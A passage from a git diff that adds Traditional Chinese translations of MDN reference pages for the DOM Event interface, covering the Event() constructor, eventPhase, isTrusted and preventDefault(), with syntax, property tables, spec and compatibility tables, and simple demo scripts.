+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatSafari(5.0) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+</ul>
diff --git a/files/zh-tw/web/api/event/event/index.html b/files/zh-tw/web/api/event/event/index.html
new file mode 100644
index 0000000000..bbbd74c5b2
--- /dev/null
+++ b/files/zh-tw/web/api/event/event/index.html
@@ -0,0 +1,87 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>Event()</strong></code> constructor 能用來建立一個 {{domxref("Event", "事件")}} 。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>為一 {{domxref("DOMString")}} ，用來表示事件名稱。</dd>
+ <dt><em>eventInit</em>{{optional_inline}}</dt>
+ <dd>一個 <code>EventInit</code> object，包含以下欄位
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th>參數</th>
+    <th>可選</th>
+    <th>默認值</th>
+    <th>類型</th>
+    <th>說明</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>"bubbles"</code></td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td><code>{{jsxref("Boolean")}}</code></td>
+    <td>表示該事件是否懸浮（bubble up）。</td>
+   </tr>
+   <tr>
+    <td><code>"cancelable"</code></td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>表示該事件是否已取消（canale）。</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">// 建立一個 bubbles up 、並未被取消的事件 “look” 。
+var ev = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(ev);
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/event/eventphase/index.html b/files/zh-tw/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..e146e7b230
--- /dev/null
+++ b/files/zh-tw/web/api/event/eventphase/index.html
@@ -0,0 +1,179 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>表示事件物件目前於事件流（Event Flow）中傳遞的進度為哪一個階段。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>回傳一個整數值以代表目前事件於事件流中的傳遞階段，可能的值將於{{anch("事件傳遞階段常數")}}說明。</p>
+
+<h2 id="常數">常數</h2>
+
+<h3 id="事件傳遞階段常數">事件傳遞階段常數</h3>
+
+<p>These values describe which phase the event flow is currently being evaluated.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">常數</th>
+   <th scope="col">值</th>
+   <th scope="col">說明</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("Event.NONE")}} {{readonlyinline}}</td>
+   <td>0</td>
+   <td>No event is being processed at this time.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Event.CAPTURING_PHASE")}} {{readonlyinline}}</td>
+   <td>1</td>
+   <td>The event is being propagated through the target's ancestor objects. This process starts with the {{domxref("Window")}}, then {{domxref("Document")}}, then the {{domxref("HTMLHtmlElement")}}, and so on through the elements until the target's parent is reached. {{domxref("EventListener", "Event listeners", "", 1)}} registered for capture mode when {{domxref("EventTarget.addEventListener()")}} was called are triggered during this phase.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Event.AT_TARGET")}} {{readonlyinline}}</td>
+   <td>2</td>
+   <td>The event has arrived at {{domxref("EventTarget", "the event's target", "", 1)}}. Event listeners registered for this phase are called at this time. If {{domxref("Event.bubbles")}} is false, processing the event is finished after this phase is complete.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Event.BUBBLING_PHASE")}} {{readonlyinline}}</td>
+   <td>3</td>
+   <td>The event is propagating back up through the target's ancestors in reverse order, starting with the parent, and eventually reaching the containing {{domxref("Window")}}. This is known as bubbling, and occurs only if {{domxref("Event.bubbles")}} is <code>true</code>. {{domxref("EventListener", "Event listeners", "", 1)}} registered for this phase are triggered during this process.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>For more details, see <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a>, of the DOM Level 3 Events specification.</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+&lt;ul&gt;
+  &lt;li&gt;Click 'd1'&lt;/li&gt;
+  &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+  &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+  &lt;li&gt;Change Capturing mode&lt;/li&gt;
+  &lt;li&gt;Repeat the experience&lt;/li&gt;
+&lt;/ul&gt;
+&lt;input type="checkbox" id="chCapture" /&gt;
+&lt;label for="chCapture"&gt;Use Capturing&lt;/label&gt;
+ &lt;div id="d1"&gt;d1
+  &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+          &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div id="divInfo"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName('div');
+  chCapture = document.getElementById("chCapture");
+  chCapture.onclick = function () {
+    RemoveListeners();
+    AddListeners();
+  }
+  Clear();
+  AddListeners();
+}
+
+function RemoveListeners() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
+    }
+  }
+}
+
+function AddListeners() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.addEventListener("click", OnDivClick, false);
+      if (chCapture.checked)
+        d.addEventListener("click", OnDivClick, true);
+      d.onmousemove = function () { clear = true; };
+    }
+  }
+}
+
+function OnDivClick(e) {
+  if (clear) {
+    Clear(); clear = false;
+  }
+  if (e.eventPhase == 2)
+    e.currentTarget.style.backgroundColor = 'red';
+  var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+  divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "&lt;br/&gt;";
+}
+
+function Clear() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    if (divs[i].id != "divInfo")
+      divs[i].style.backgroundColor = (i &amp; 1) ? "#f6eedb" : "#cceeff";
+  }
+  divInfo.innerHTML = '';
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/event/index.html b/files/zh-tw/web/api/event/index.html
new file mode 100644
index 0000000000..4213c20080
--- /dev/null
+++ b/files/zh-tw/web/api/event/index.html
@@ -0,0 +1,210 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/API/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>Event</strong></code> 介面表示了一個在 DOM 物件上所發生的事件。</p>
+
+<p>一個事件可以是由使用者的操作行為所產生（如：點擊滑鼠按鈕或敲打鍵盤），或是來自 API 因處理非同步任務所產生。事件也可以為程式所觸發，例如呼叫元素的 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/HTMLElement/click" title="The HTMLElement.click() method simulates a mouse click on an element."><code>HTMLElement.click()</code></a> 方法，或是自行定義事件並使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent" title="Dispatches an Event at the specified EventTarget, (synchronously) invoking the affected EventListeners in the appropriate order. The normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchEvent()."><code>EventTarget.dispatchEvent()</code></a> 發送至特定的目標。</p>
+
+<p>事件有多種不同的類型，部分事件是使用基於 <code>Event</code> 的子介面。<code>Event</code> 本身包含了所有事件共同的屬性及方法。</p>
+
+<p>許多 DOM 元素可被設定接受（accept，或稱為 listen "監聽"）這些事件，並在發生時執行處理（process、handle）事件的程式碼。事件處理器（Event-handlers）通常會使用 <code>EventTarget.addEventListener()</code> 來被連結（connected，或稱為 attached "附加"）至各個 <a href="https://developer.mozilla.org/zh-TW/docs/Web/HTML/Element">HTML 元素</a>（例如 &lt;button&gt;、&lt;div&gt;、&lt;div&gt;、&lt;span&gt; 等），且此方式一般也是用來取代舊的 HTML <a href="https://developer.mozilla.org/zh-TW/docs/HTML/Global_attributes">事件處理器屬性（attributes）</a>。此外，在需要時也可以使用 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/EventTarget/removeEventListener" title="The EventTarget.removeEventListener() method removes from the EventTarget an event listener previously registered with EventTarget.addEventListener(). The event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see Matching event listeners for removal"><code>removeEventListener()</code></a> 來中斷事件處理器與元素的連結。請留意一個元素可以擁有多個事件處理器（即使是處理同一種事件的不同處理器），特別是那些被切分開來彼此獨立且有不同目標的程式模組（舉例來說，廣告及統計模組可以同時監控網頁中的影片觀看資訊）。</p>
+
+<p>When there are many nested elements, each with its own handler(s), event processing can become very complicated -- especially where a parent element receives the very same event as its child elements because "spatially" they overlap so the event technically occurs in both, and the processing order of such events depends on the <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">Event bubbling and capture</a> settings of each handler triggered.</p>
+
+<h2 id="Introduction" name="Introduction">基於 <code>Event</code> 的子介面</h2>
+
+<p>Below is a list of interfaces which are based on the main <code>Event</code> interface, with links to their respective documentation in the MDN API reference. Note that all event interfaces have names which end in "Event".</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BeforeInputEvent")}}</li>
+ <li>{{domxref("BeforeUnloadEvent")}}</li>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("ClipboardEvent")}}</li>
+ <li>{{domxref("CloseEvent")}}</li>
+ <li>{{domxref("CompositionEvent")}}</li>
+ <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("DOMTransactionEvent")}}</li>
+ <li>{{domxref("DragEvent")}}</li>
+ <li>{{domxref("EditingBeforeInputEvent")}}</li>
+ <li>{{domxref("ErrorEvent")}}</li>
+ <li>{{domxref("FetchEvent")}}</li>
+ <li>{{domxref("FocusEvent")}}</li>
+ <li>{{domxref("GamepadEvent")}}</li>
+ <li>{{domxref("HashChangeEvent")}}</li>
+ <li>{{domxref("IDBVersionChangeEvent")}}</li>
+ <li>{{domxref("InputEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("MutationEvent")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("OverconstrainedError")}}</li>
+ <li>{{domxref("PageTransitionEvent")}}</li>
+ <li>{{domxref("PaymentRequestUpdateEvent")}}</li>
+ <li>{{domxref("PointerEvent")}}</li>
+ <li>{{domxref("PopStateEvent")}}</li>
+ <li>{{domxref("ProgressEvent")}}</li>
+ <li>{{domxref("RelatedEvent")}}</li>
+ <li>{{domxref("RTCDataChannelEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("SensorEvent")}}</li>
+ <li>{{domxref("StorageEvent")}}</li>
+ <li>{{domxref("SVGEvent")}}</li>
+ <li>{{domxref("SVGZoomEvent")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+ <li>{{domxref("TouchEvent")}}</li>
+ <li>{{domxref("TrackEvent")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+ <li>{{domxref("UIEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
+</div>
+
+<h2 id="Constructor" name="Constructor">建構式</h2>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd>建立一個 <code>Event</code> 物件。</dd>
+</dl>
+
+<h2 id="屬性" name="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>布林值，表示事件是否會向上冒泡傳遞。</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>由於歷史性因素，此屬性的效果等同於 {{domxref("Event.stopPropagation()", "stopPropagation()")}} 方法。若在事件處理器回傳前設定此值為 <code>true</code>，可阻止事件繼續向上冒泡傳遞。</dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>布林值，表示事件是否能被取消。</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd>A Boolean value indicating whether or not the event can bubble across the boundary between the shadow DOM and the regular DOM.</dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd>指向目前處理事件之監聽器所屬的 DOM 物件。</dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>An {{jsxref("Array")}} of DOM {{domxref("Node")}}s through which the event has bubbled.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>布林值，表示事件的預設行為是否被 {{domxref("event.preventDefault()", "preventDefault()")}} 方法所取消。</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>表示事件目前的傳遞階段。</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>事件的明確原定目標（Mozilla 專屬）。</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>事件重新導向前的原定目標（Mozilla 專屬）。</dd>
+ <dt>{{domxref("Event.returnValue")}}</dt>
+ <dd>非標準屬性。用以替代 {{domxref("Event.preventDefault()", "preventDefault()")}} 方法與 {{domxref("Event.defaultPrevented", "defaultPrevented")}} 屬性（舊版 Internet Explorer 專屬）。</dd>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM. This property has been renamed to {{domxref("Event.composed", "composed")}}.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>非標準屬性。為 {{domxref("Event.target", "target")}} 屬性的別名（舊版 Internet Explorer 專屬）。</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>指向最初觸發事件的 DOM 物件。</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>事件發生（事件物件建立）至今的時間。</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>事件類型（不區分大小寫）。</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>表示事件物件是否為瀏覽器建立（比如在用戶點擊之後），或由程式碼所建立（使用建立事件的方法，如 {{domxref("Event.initEvent()", "initEvent()")}}）。</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM. This property has been renamed to {{domxref("Event.composed", "composed")}}.</dd>
+</dl>
+
+<h2 id="方法" name="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Creates a new event, which must then be initialized by calling its <code>initEvent()</code> method.</p>
+ </dd>
+ <dt>{{domxref("Event.composedPath()")}}</dt>
+ <dd>Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with its {{domxref("ShadowRoot.mode")}} closed.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>初始化已經建立的事件。若該事件已經被處理過，這方法就不會執行任何東西。</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>取消該事件（如果該事件的 {{domxref("Event.cancelable", "cancelable")}} 屬性為 <code>true</code>）。</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>一旦事件物件呼叫此方法，目前元素中尚未執行的已註冊之相同事件類型監聽器將不會被呼叫，而事件也不會繼續捕捉或冒泡傳遞。</dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>阻止事件物件繼續捕捉或冒泡傳遞。</dd>
+</dl>
+
+<h3 id="已廢棄方法">已廢棄方法</h3>
+
+<dl>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt>
+ <dd>非標準方法。回傳 <code>defaultPrevented</code> 屬性值。請直接改用 {{domxref("Event.defaultPrevented", "defaultPrevented")}} 屬性。</dd>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>已廢棄方法。阻止事件繼續冒泡傳遞。請改用 {{domxref("event.stopPropagation()", "stopPropagation()")}} 方法。</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>已廢棄方法。請改用 {{domxref("event.stopPropagation()", "stopPropagation()")}} 方法。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Event")}}</p>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>可用的事件類型：<a href="/zh-TW/docs/Web/Reference/Events">Event reference</a></li>
+ <li><a href="/zh-TW/docs/Web/API/Event/Comparison_of_Event_Targets">各種 Event Targets 的比較</a> (target vs currentTarget vs relatedTarget vs originalTarget)</li>
+ <li><a href="/zh-TW/docs/Web/Guide/Events/Creating_and_triggering_events">建立和觸發事件</a></li>
+ <li>給 Firefox 插件開發者：
+  <ul>
+   <li><a href="/zh-TW/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li>
+   <li><a href="/zh-TW/docs/Listening_to_events_on_all_tabs">Listening to events on all tabs</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/event/istrusted/index.html b/files/zh-tw/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..fe35fcc393
--- /dev/null
+++ b/files/zh-tw/web/api/event/istrusted/index.html
@@ -0,0 +1,107 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+translation_of: Web/API/Event/isTrusted
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>{{domxref("Event")}} 介面的 <code>isTrusted</code> 唯讀屬性為一個布林值，若事件物件是由使用者操作而產生，則 <code>isTrusted</code> 值為 <code>true</code>。若事件物件是由程式碼所建立、修改，或是透過 {{domxref("EventTarget.dispatchEvent()")}} 來觸發，則 <code>isTrusted</code> 值為 <code>false</code>。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<pre> if (e.isTrusted) {
+     /* The event is trusted. */
+ } else {
+     /* The event is not trusted. */
+ }
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Adds requirements regarding trusted and untrusted events, though it does not itself define the <code>isTrusted</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Internet Explorer, all events are trusted except those that are created with the <code>createEvent()</code> method.</p>
diff --git a/files/zh-tw/web/api/event/preventdefault/index.html b/files/zh-tw/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..8553f5a23a
--- /dev/null
+++ b/files/zh-tw/web/api/event/preventdefault/index.html
@@ -0,0 +1,129 @@
+---
+title: Event.preventDefault()
+slug: Web/API/Event/preventDefault
+translation_of: Web/API/Event/preventDefault
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">概要</h2>
+
+<p>如果事件可以被取消，就取消事件（即取消事件的預設行為）。但不會影響事件的傳遞，事件仍會繼續傳遞。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>event</em>.preventDefault();</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>Toggling a checkbox is the default action of clicking on a checkbox. This example demonstrates how to prevent that from happening:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+    &lt;p&gt;Please click on the checkbox control.&lt;/p&gt;
+    &lt;form&gt;
+        &lt;label for="id-checkbox"&gt;Checkbox&lt;/label&gt;
+        &lt;input type="checkbox" id="id-checkbox"/&gt;
+    &lt;/form&gt;
+    &lt;script&gt;
+        document.querySelector("#id-checkbox").addEventListener("click", function(event){
+            alert("preventDefault will stop you from checking this checkbox!")
+            event.preventDefault();
+        }, false);
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>You can see <code>preventDefault</code> in action <a class="internal" href="/samples/domref/dispatchEvent.html" title="samples/domref/dispatchEvent.html">here</a>.</p>
+
+<p>The following example demonstrates how invalid text input can be stopped from reaching the input field with preventDefault().</p>
+
+<div id="preventDefault_invalid_text">
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault example&lt;/title&gt;
+
+&lt;script&gt;
+</pre>
+
+<pre class="brush: js">function Init () {
+    var myTextbox = document.getElementById('my-textbox');
+    myTextbox.addEventListener( 'keypress', checkName, false );
+}
+
+function checkName(evt) {
+    var charCode = evt.charCode;
+    if (charCode != 0) {
+        if (charCode &lt; 97 || charCode &gt; 122) {
+            evt.preventDefault();
+            alert(
+                "Please use lowercase letters only."
+                + "\n" + "charCode: " + charCode + "\n"
+            );
+        }
+    }
+}
+</pre>
+
+<pre class="brush: html">&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="Init ()"&gt;
+    &lt;p&gt;Please enter your name using lowercase letters only.&lt;/p&gt;
+    &lt;form&gt;
+        &lt;input type="text" id="my-textbox" /&gt;
+    &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Here is the result of the preceding code:</p>
+
+<p>{{ EmbedLiveSample('preventDefault_invalid_text', '', '', '') }}</p>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>Calling <code>preventDefault</code> during any stage of event flow cancels the event, meaning that any default action normally taken by the implementation as a result of the event will not occur.</p>
+
+<div class="note">
+<p><strong>Note:</strong> As of {{Gecko("6.0")}}, calling <code>preventDefault()</code> causes the {{ domxref("event.defaultPrevented") }} property's value to become <code>true</code>.</p>
+</div>
+
+<p>你可以查看 {{domxref("Event.cancelable")}} 屬性來檢查事件是否能夠被取消。對一個不能被取消的事件呼叫 <code>preventDefault()</code> 方法是沒有任何效果的。</p>
+
+<p><code>preventDefault()</code> 方法不會停止事件傳遞。若要停止事件繼續傳遞，可以使用 {{domxref("Event.stopPropagation()")}} 方法。</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
